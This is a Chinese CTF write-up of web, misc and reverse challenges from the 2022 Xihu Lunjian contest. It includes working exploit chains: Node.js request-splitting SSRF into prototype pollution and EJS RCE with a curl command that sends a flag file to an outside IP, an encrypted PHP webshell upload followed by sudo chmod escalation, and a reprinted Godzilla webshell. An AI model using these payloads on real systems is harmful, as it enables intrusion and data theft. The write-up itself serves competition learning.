引言

看起来这是 农历兔年到来的第一场 CTF 比赛

祝大家新年快乐,兔年大吉,前兔似锦,大展宏兔!

西湖论剑·2022中国杭州网络安全技能大赛

全日制高校在校生(含研究生),以所在高校为单位组队参赛,不得跨校组队。 本赛项与IoT攻防赛为同一批参赛选手,建议参赛选手组队时考虑IoT选手的比例。

线上初赛:2023年2月2日 10:00-18:00

主流CTF夺旗赛模式

https://game.gcsis.cn/

又是个因为疫情原因(?)推迟举办的比赛了(

由于只能按照所在高校来组队,不能联合战队,报名结束前两天问了下,校队里一群鸽子还没组队,然后就问了下和学弟们一起组了一队,随便看看题好了。

但是喵喵比较佛系,其实没好好打,当天下午快16.才开始看题,唔(((

这篇 writeup 里有一些是比赛结束后继续做出来的,也有这过程中卡住然后根据大师傅 wp 复现的,就当学习学习,练练手记录一下好了。

Web

Node Magical Login

一个简单的用nodejs写的登录站点(貌似暗藏玄机)

controller.js 部分源码

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

只需要带个 user=admin 的 cookie 就行了

GET /flag1 HTTP/1.1
Host: 80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: textml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=admin
Upgrade-Insecure-Requests: 1
If-None-Match: W/"3a-RlxhITUNSh+HitDVv+yl4xv4J4I"

第二部分 flag 的话,再看 controller.js 源码

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

这里如果传个 array 进去的话,调用 .toLowerCase() 用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function,但是捕获异常这里直接就能跳过了,返回第二部分 flag

POST /getflag2 HTTP/1.1
Host: 80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81
Content-Length: 71
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81
Referer: http://80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81/flag2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"checkcode":["aGr5AtSp55dRacer",2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]}

实际上直接传个长度为16的 array 就行,比如

{"checkcode":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]}

扭转乾坤

这题附件给的太奇怪了,一个zip里面一个pdf

不过还是看提示

在实际产品场景中常见存在多种中间件的情况,这时如果存在某种拦截,可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务

直接上传的话,提示

Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.

于是要在 Content-Type: multipart/form-data 上做文章

参考 https://www.anquanke.com/post/id/241265

利用 RFC 差异来绕过,加个引号就过了

POST /ctf/hello-servlet HTTP/1.1
Host: 1.14.65.100
Content-Length: 3246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.65.100
Content-Type: multipart/"form-data"; boundary=----WebKitFormBoundary3oAve6BcRBg213uo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.65.100/ctf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary3oAve6BcRBg213uo
Content-Disposition: form-data; name="uploadfile"; filename="bypass.jsp"
Content-Type: application/octet-stream

miaotony
------WebKitFormBoundary3oAve6BcRBg213uo--

DASCTF{407a13a21a6b85b1236b003479468c82}

赛后又试了试,貌似只需要不出现完整的 multipart/form-data 就能过,但是必须有 multipart/

(感觉这样出题也太迷了

real_ez_node

app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
  secret : 'secret', // 对session id 相关的cookie 进行签名
  resave : true,
  saveUninitialized: false, // 是否保存未初始化的会话
  cookie : {
    maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
  },
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()

//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

routes/index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

一眼猜到要用 /curl 路由来构造 SSRF/copy 路由下的 原型链污染,当然还差个 RCE,但是貌似源码里没找到

先看看咋打 SSRF,这里要 POST /copy 的话很明显需要请求拆分

查了下 http.get,参考 Security Bugs in Practice: SSRF via Request Splitting

发现在 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,nodejs 不会对这些 Unicode 进行编码转义,因为它们不是 HTTP 控制字符

\u{010D}\u{010A} (čĊ) 这样的 string 被编码为 latin1 之后就只剩下了 \r\n,于是就能用来做请求拆分了

触发条件是:

The behaviour has been fixed in the recent Node.js 10 release, which will throw an error if the request path contains non-ascii characters. But for Node.js versions 8 or lower, any server that makes outgoing HTTP requests may be vulnerable to an SSRF via request splitting if it:

  • Accepts unicode data from from user input, and
  • Includes that input in the request path of an outgoing HTTP request, and
  • The request has a zero-length body (such as a GET or DELETE).

然后看到一道题就用到了 NodeJS SSRF by Response Splitting — ASIS CTF Finals 2018 — Proxy-Proxy Question Walkthrough

本地搭环境起来试了试,确实可以

然后看 原型链污染

这里很明显用 safeobj.expand 把接收到的东西给放到 user 里了

过滤了 __proto__constructor.prototype 绕一下就行

这个库里直接递归按照 . 做分隔写入 obj,很明显可以原型链污染

(后来发现也是现成 CVE-2021-25928

那最后就是找哪里能 RCE 或者 读文件

既然源码里没有,那就是依赖了,瞄眼 package.json

{
  "name": "hello-world",
  "version": "0.0.0",
  "private": true,
  "scripts": {
    "start": "node ./bin/www"
  },
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "debug": "~2.6.9",
    "ejs": "^3.0.1",
    "express": "~4.16.1",
    "express-session": "^1.17.3",
    "http-errors": "~1.6.3",
    "jade": "^1.11.0",
    "jsonwebtoken": "^8.5.1",
    "lodash": "^4.2.1",
    "md5": "^2.3.0",
    "mongodb": "^4.10.0",
    "morgan": "~1.9.1",
    "mysql": "^2.18.1",
    "node-serialize": "^0.0.4",
    "pug": "2.0.0-beta11",
    "safe-obj": "^1.0.2"
  }
}

pug! 2021 巅峰极客有个题 打过!

但是这里用的渲染引擎是 ejs

(顺便,这里支持 json 或者 urlencoded

参考 EJS, Server side template injection RCE (CVE-2022-29078) - writeup

ejs 也有 RCE!

这里用到的 [ejs/3.0.1 在影响范围内](ejs/3.0.1 在范围内)(3.1.7 才 fix

构造个原型链污染把这个 outputFunctionName 赋值了就行

写wp的时候才发现上面那篇喵喵的 wp 就写了一句

构造 RCE payload

{"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('touch /tmp/miao');s"}

(实际上直接 constructor.prototype.outputFunctionName 就行,不用 json 用 urlencode 也行

然后算好 content-length,试了下可以多不能少,不然解析就烂掉了请求不到 /copy 路由了

另外要多加个 GET / 之类的去闭合原来的请求

或者也可以在第二个请求的时候加个 Connection: close 头,就不会管之后的内容了

测试一下

成功 RCE!

试了下 docker 容器里没 /dev/tcp,又不需要弹 shell,干脆直接 curl 外带 flag 好了。

curl -F "[emailprotected]/flag.txt" 11.11.111.111:1234

拼接一下

a HTTP/1.1
Host: 127.0.0.1

POST /copy HTTP/1.1
Content-type: application/json
Content-Length: 159

{"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl -F [emailprotected]/flag.txt 11.11.111.111:1234');s"}

POST /
encodeURI("a\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/copy\u{010D}\u{010A}Content-type:\u{0120}application/json\u{010D}\u{010A}Content-Length:\u{0120}159\u{010D}\u{010A}\u{010D}\u{010A}\u{017B}\u{0122}constructor.prototype.view\u{0120}options.outputFunctionName\u{0122}:\u{0122}x;process.mainModule.require(\u{0127}child_process\u{0127}).execSync(\u{0127}curl\u{0120}-F\u{0120}[emailprotected]/flag.txt\u{0120}11.11.111.111:1234\u{0127});s\u{0122}\u{017D}\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/")

测试发现 {}""'' 这些都得用 Unicode 处理才行,也就是 chr(0x0100 + ord(i)),不如接收不到请求,只有请求了 /q=xxx 然后没了

最后拿去请求远程

GET /curl?q=a%C4%A0HTTP/1.1%C4%8D%C4%8AHost:%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8APOST%C4%A0/copy%C4%A0HTTP/1.1%C4%8D%C4%8AContent-type:%C4%A0application/json%C4%8D%C4%8AContent-Length:%C4%A0159%C4%8D%C4%8A%C4%8D%C4%8A%C5%BB%C4%A2constructor.prototype.view%C4%A0options.outputFunctionName%C4%A2:%C4%A2x;process.mainModule.require(%C4%A7child_process%C4%A7).execSync(%C4%A7curl%C4%A0-F%C4%[emailprotected]/flag.txt%C4%A011.11.111.111:1234%C4%A7);s%C4%A2%C5%BD%C4%8D%C4%8A%C4%8D%C4%8APOST%C4%A0/

这题打的时候弄了老半天,早知道就自己写个脚本构造 payload 了,手动构造调了老半天写错了一堆((

赛后看其他队伍 wp 才发现原来之前有题目出过类似的了,怪不得其他师傅这么快做出来了,脚本看上去都这么像

从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击

顺便贴个咱改的脚本

import requests
import urllib.parse

payload = '''a HTTP/1.1
Host: 127.0.0.1

POST /copy HTTP/1.1
Content-type: application/json
Content-Length: 159
Connection: close

{"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl -F [emailprotected]/flag.txt 11.11.111.111:1234');s"}

POST /'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret
    
payload = payload_encode(payload)

print(payload)
r = requests.get('http://xxxx/curl?q=' + urllib.parse.quote(payload))
print(r.text)

其实可以把长度再算算的,摸了(

编码也可以用下面这样而不必把字母数字那些 ASCII 改了

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127')

NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击

关于Prototype Pollution Attack的二三事

unusual php

搞点不一样的php

<?php
if($_GET["a"]=="upload"){
    move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
    echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
    phpinfo();
} 

/index.php 发现是一团乱码,盲猜用了啥解析引擎之类的东西

插件目录 /usr/local/lib/php/extensions/no-debug-non-zts-20190902

/usr/local/lib/php.ini

得到扩展路径

curl "http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/index.php?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so" > zend_test.so

读回来然后把无关的去掉,再丢进 ida

看起来解析的时候用 abcsdfadfjiweur 作为 key 然后 RC4 解密然后当成 php 去执行

把拿下来的 index.php 看看

于是我们传个 RC4 加密后的一句话马上去就好

473xeG4d+1FXOOiInKCC2LdFHDRL3s5i4ZuTj9iuNY0O83HcUA==

base64 decode (或者 output format 选 latin1 然后 save 到文件也行)

然后整个表单 multipart/form-data 传上去

<form action="/?a=upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>

然后访问

/upload/miaotony.php?miaotony=system('ls -al /');

这里复现环境有人打过了,原来的话这里是没权限读 flag 的

然后 /etc/sudoers 不可读,但是有个 sudoers.bak

当前的 www-data 用户可以免密执行 chmod,那直接

sudo chmod 777 /flag
cat /flag

复现的过程中发现一个问题,如果用 burpsuite 传二进制文件的话,可能会丢东西。。

解析不出来的话会报错 Fatal error: file can’t parse in Unknown on line 0

调了老半天才发现是这个问题,坑死了!

但是喵喵这个 burpsuite 版本有点老了,不知道新版的还有没有这个问题了(

Misc

签到题喵

转 hex 得到提示,给公众号发 西湖论剑2023我来了!

mp3

看起来很正常的mp3文件

文件末尾拼接了张图片,提取出来

这个也不是二维码,大概率就是黑白转 01 了,随便写个脚本处理下

import cv2

img = cv2.imread("1.png", cv2.IMREAD_GRAYSCALE)
data = ''
for i in range(img.shape[0]):
    for j in range(img.shape[1]):
        if img[i,j] >= 128:
            data += '0'
        else:
            data += '1'

print(data)

然后得到一个 zip

需要密码,然后再看 mp3,拿 MP3Stego 解密一下,试了下密码为空

Decode.exe -X cipher.mp3

就能出来个 ASCII 字符串

8750d5109208213f

解压 zip

2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj

好多重复的字符,根据文件名提示盲猜是 ROT47

a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();

直接控制台执行得到 flag

DASCTF{f8097257d699d7fdba7e97a15c4f94b4}

take_the_zip_easy

easy zip, easy flow

ZipCrypto Store/Deflate,bkcrack 爆破解压缩包,然后拿密钥把文件提取出来

$ echo -n dasflow.pcapng > plain.txt
$ ./bkcrack -C zipeasy.zip -c dasflow.zip -p plain.txt -o 30  -x 0 504B0304
bkcrack 1.5.0 - 2022-07-07
[16:37:53] Z reduction using 6 bytes of known plaintext
100.0 % (6 / 6)
[16:37:53] Attack on 1038290 Z values at index 37
Keys: 2b7d78f3 0ebcabad a069728c
67.7 % (703381 / 1038290)
[16:47:34] Keys
2b7d78f3 0ebcabad a069728c
$ ./bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip
bkcrack 1.5.0 - 2022-07-07
[16:53:57] Writing deciphered data dasflow.zip (maybe compressed)
Wrote deciphered data.

解压看下 http

form-data 是上传木马,后面的 eval.php 瞄了眼是哥斯拉流量

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

run 函数在哥斯拉马里,如果开启 gzip 的话,会把命令 gzdecode 然后执行的结果用 gzencode 做压缩

后面的流量里传了个 flag.zip,里面有 flag,但是有密码

那大概率之前的这几个 eval.php 流量是生成这个 zip 的,参数里就会有密码

air123=J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3

用上面的 key 和脚本解密一下

<?php
function encode($D, $K)
{
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}
$pass = 'air123';
$payloadName = 'payload';
$key = 'd8ea7326e6ec5916';

$postdata = "J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3";
$data = encode(base64_decode(urldecode($postdata)), $key);
// echo $data;
// echo "\n\n";
echo gzdecode($data);

得到

cmdLinePsh -c "cd "/var/www/html/upload/";zip -o flag.zip /flag -P [emailprotected]" 2>&1
methodName
execCommand

所以密码就是 [emailprotected],解压得到 flag

Reverse

Dual personality

#include <iostream>

int main()
{
    unsigned char enc[0x100] = {0x0AA,0x4F,0x0F,0x0E2,0x0E4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0x0BC,0x8F,0x8B,0x78,0x0D3,0x73,0x88,0x5E,0x0AE,0x47,0x85,0x70,0x31,0x0B3,0x9,0x0CE,0x13,0x0F5,0x0D,0x0CA};
    int key[] = {157, 68, 55, 181};
    key[0] &= key[1];
    key[1] |= key[2];
    key[2] ^= key[3];
    key[3] = ~key[3];
    for (int i = 0; i < 32; i++)
        enc[i] ^= key[i % 4];
    unsigned long long *p2 = (unsigned long long*)enc;
    p2[0] = (p2[0] >> 0xc) | (p2[0] << 0x34);
    p2[1] = (p2[1] >> 0x22) | (p2[1] << 0x1e);
    p2[2] = (p2[2] >> 0x38) | (p2[2] << 0x8);
    p2[3] = (p2[3] >> 0xe) | (p2[3] << 0x32);
    int *p1 = (int*)enc;
    int secret = 0x5df966ae;
    secret -= 0x21524111;
    for (int i = 0; i < 8; i++)
    {
        int prev = secret;
        secret ^= p1[i];
        p1[i] -= prev;
    }
    printf("%s\n", enc);
    return 0;
}

小结

(2web 1misc 1re)

怎么说呢,主要这次喵喵比较佛系,没好好打,18. 结束的比赛当天有点事 (摸鱼) 下午快16.才开始看题,看到这么多题直接傻了(时长8h的比赛每一类都五六七道题也太多了吧),比赛期间就做出了两道 web,然后开了两道 misc 都做到一半就结束了,唔(((

队友的话,感觉加上喵喵总共也就4个人看题,我们这群鸽子没几个人有空,学弟那边大概率还是第一次打比较大的比赛,也没啥经验,感觉下次有机会有空的话得线下一起好好打才行,哈哈


BTW,看到有师傅整理了 复现环境题目附件,甚至还构建好 docker 镜像了,好唉

有需要的师傅可以去复现下

就这样吧,喵呜喵呜喵

溜了溜了喵(